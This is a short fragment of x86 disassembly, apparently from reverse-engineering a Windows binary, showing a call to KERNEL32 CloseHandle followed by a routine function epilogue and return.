call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret